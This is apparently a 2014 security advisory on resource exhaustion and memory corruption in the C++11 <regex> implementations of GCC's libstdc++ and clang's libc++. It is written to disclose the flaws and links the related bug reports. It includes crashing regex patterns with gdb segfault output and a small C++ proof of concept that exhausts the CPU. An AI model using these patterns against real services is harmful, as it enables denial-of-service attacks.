C++11 <regex> insecure by default
http://cxsecurity.com/issue/WLB-2014070187


--- 0 Description ---
In this article I will present a conclusion of testing the new 'objective regex' in several implementation of standard c++ library like libcxx (clang) and stdlibc++ (gcc). The results show the weakness in official supported implementations. Huge complexity and memory exhaustion were well known in most of libc libraries. Theoretical the new c++11 <regex> eliminate resource exhaustion by specifying special limits preventing for evil patterns. 
In glibc there was the conviction that for the safety of use regcomp() respond vendor using regex implementation. However, it is difficult to do the parser of regular expression in clients applications and others remote affected. The exceptions support for regex errors looks very promising. Let's see some part of documentation std::regex_error

-std::regex_constants::error_type-----------------------
error_space   
there was not enough memory to convert the expression into a finite state machine

error_complexity
the complexity of an attempted match exceeded a predefined level

error_stack
there was not enough memory to perform a match
-std::regex_constants::error_type-----------------------

error_complexity looks promising but which the value of level complexity is the best'? There is many interpretations between usability and security. In security aspect this level should be low for to keep real time execution. In contrast to the static code analysis where execution time is not so important. The other constants like error_space and error_stack are also interesting in security view. 
After official release for stdlibc++ <regex> in GCC 4.9.0 I have decided check this implementation. To prove that these limits do not fulfill their role, I reported below issues

GCC:
libstdc++ C++11 regex resource exhaustion
https://gcc.gnu.org/bugzilla/show_bug.cgi?id=61601
libstdc++ C++11 regex memory corruption
https://gcc.gnu.org/bugzilla/show_bug.cgi?id=61582

CLANG:
libcxx C++11 regex cpu resource exhaustion 
http://llvm.org/bugs/show_bug.cgi?id=20291

In my observation libc++ wins in performance. Only problem with error complexity reported. In ticket #20291 we are searching answer for default pre-set level value. However for each use can be personal. GCC has fixed most dangerous issues before releasing official version 4.9.0 where <regex> is supported. Anyway stack overflow still occurs in last regex implementation.


--- 0.1 GCC before 4.9 Memory corruption ---
# ./c11RE '(|'
Segmentation fault (core dumped)


--- 0.2 GCC 4.9 Memory corruption ---
(gdb) r '((.*)()?*{100})'
Starting program: /home/cx/REstd11/kozak5/./c11re '((.*)()?*{100})'

Program received signal SIGSEGV, Segmentation fault.
0x0000000000402f15 in std::_Bit_reference::operator bool() const


--- 0.3 GCC Trunk Stack Overflow ---
Starting program: /home/cx/REtrunk/kozak5/t3 '(.*{100}{300})'

Program received signal SIGSEGV, Segmentation fault.
0x000000000040c22a in std::__detail::_Executor<char const*, std::allocator<std::sub_match<char const*> >, std::regex_traits<char>, true>::_M_dfs(std::__detail::_Executor<char const*, std::allocator<std::sub_match<char const*> >, std::regex_traits<char>, true>::_Match_mode, long) ()


--- 0.4 CLANG CPU Exhaustion PoC ---
#include <iostream>
#include <regex> 
#include <string>

using namespace std;

int main() {
    try {
        regex r("(.*(.*){999999999999999999999999999999999})", regex_constants::extended);
        smatch results;
        string test_str = "|||||||||||||||||||||||||||||||||||||||||||||||||||||||";
        if (regex_search(test_str, results, r))
            cout << results.str() << endl;
        else
            cout << "no match";
    } catch (regex_error &e) {
        cout << "extended: what: " << e.what() << "; code: " << e.code() << endl;
    }
    
    return 0;
}
--- CLANG CPU Exhaustion ---


--- 1 Conclusion ---
I think It's dangerous situation what may have a bearing on the quality similar to the glibc <regex.h>.  Maybe only a new type of extended regular expressions provide safety? It's good moment to start discussion about of safety regex in new c++.


--- 2 References ---
libstdc++ C++11 regex resource exhaustion
https://gcc.gnu.org/bugzilla/show_bug.cgi?id=61601
libstdc++ C++11 regex memory corruption
https://gcc.gnu.org/bugzilla/show_bug.cgi?id=61582
libcxx C++11 regex cpu resource exhaustion 
http://llvm.org/bugs/show_bug.cgi?id=20291
GCC 4.9 Release Series New Features
https://gcc.gnu.org/gcc-4.9/changes.html


--- 3 Thanks ---
gcc and clang support and KacperR


--- 4 About ---
Author:
Maksymilian Arciemowicz

Contact:
http://cxsecurity.com/wlb/add/